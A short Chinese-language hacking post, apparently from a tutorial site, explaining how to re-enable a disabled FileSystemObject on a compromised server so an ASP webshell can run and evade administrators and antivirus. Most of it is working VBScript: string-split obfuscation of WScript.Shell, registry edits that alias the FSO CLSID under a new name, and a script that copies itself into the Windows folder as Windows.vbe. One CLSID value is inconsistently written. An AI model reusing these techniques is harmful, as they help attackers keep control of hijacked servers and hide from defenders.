关于主机的fso

服务器是SA权限,但禁止了fso对象,即使写入了asp马,也不能用,如果恢复了主机的fso,在将其做一定的加密,是否能饶过杀毒
软件而成功执行呢? 我在本机做了如下的测试:
建立test1.vbe
-------------------------------------------------------------------------------------------------------
Set a=CreateObject("WSc"+"ript.S"+"hell")
a.regdelete "HKEY_CLASSES_ROOT\Scripting.FileSystemObject\"
a.regwrite "HKEY_CLASSES_ROOT\wangzhitong\", "FileSystem Object", "REG_SZ"
--------------------------------------------------------------------------------------------------------
将Scripting.FileSystemObject对象改为wangzhitong
在建立test.vbe
---------------------------------------------------------------------------------------------------------
set fso=createobject("wangzhitong")
Set dir1=fso.GetSpecialFolder(0)
Set k=fso.GetFile(WScript.ScriptFullName)
k.Copy(dir1&"\Windows.vbe")
----------------------------------------------------------------------------------------------------------
对于asp,可以
Set a=CreateObject("WSc"+"ript.S"+"hell")
a.regdelete "HKEY_CLASSES_ROOT\Scripting.FileSystemObject\CLSID\"
a.regdelete "HKEY_CLASSES_ROOT\Scripting.FileSystemObject\"
a.regwrite "HKEY_CLASSES_ROOT\wangzhitong\", "FileSystem Object", "REG_SZ"
a.regwrite "HKEY_CLASSES_ROOT\wangzhitong\CLSID\", "{0D43FE01-F093-11CF-8940-00A0C90542281}", "REG_SZ"
----------------------------------------------------------------------------------------------------------
将Scripting.FileSystemObject对象改为wangzhitong,键值改为{0D43FE01-F093-11CF-8940-00A0C90542281}
这样引用就可以:
<object runat="server" id="fso" scope="page" classid="clsid:0D43FE01-F093-11CF-8940-00A0C90542281"></object>
set fso=createobject("wangzhitong")
-----------------------------------------------------------------------------------------------------------
这样就可以淘过管理员和杀毒软件,但这有一定的局限性,要求主机的Scripting.FileSystemObject没改名,只是clsid的键值改了,
才能用上述方法成功,但实际上我们并不知道管理员是否改了Scripting.FileSystemObject对象的名,经过我的实验,只要在注册表
中HKEY_CLASSES_ROOT\下随便写入一个项,键值为还为{0D43FE01-F093-11CF-8940-00A0C9054228}就可以继续使用fso,只要管理员没改
掉{0D43FE01-F093-11CF-8940-00A0C9054228}的值就可以了,即使原来的Scripting.FileSystemObject被改了名也照样能用
-------------------------------------------------------------------------------------------------------------------
Set a=CreateObject("WSc"+"ript.S"+"hell")
a.regwrite "HKEY_CLASSES_ROOT\wangzhitong1\", "FileSystem Object", "REG_SZ"
a.regwrite "HKEY_CLASSES_ROOT\wangzhitong1\CLSID\", "{0D43FE01-F093-11CF-8940-00A0C9054228}", "REG_SZ"
---------------------------------------------------------------------------------------------------------------------
set fso=createobject("wangzhitong1")
Set dir1=fso.GetSpecialFolder(0)
Set k=fso.GetFile(WScript.ScriptFullName)
k.Copy(dir1&"\Windows.vbe")
---------------------------------------------------------------------------------------------------------------------
对于较大的文件可以写一个小程式,来进行转换,就象c中的宏扩展一样.

你可能感兴趣的:(职场,休闲,主机的fso)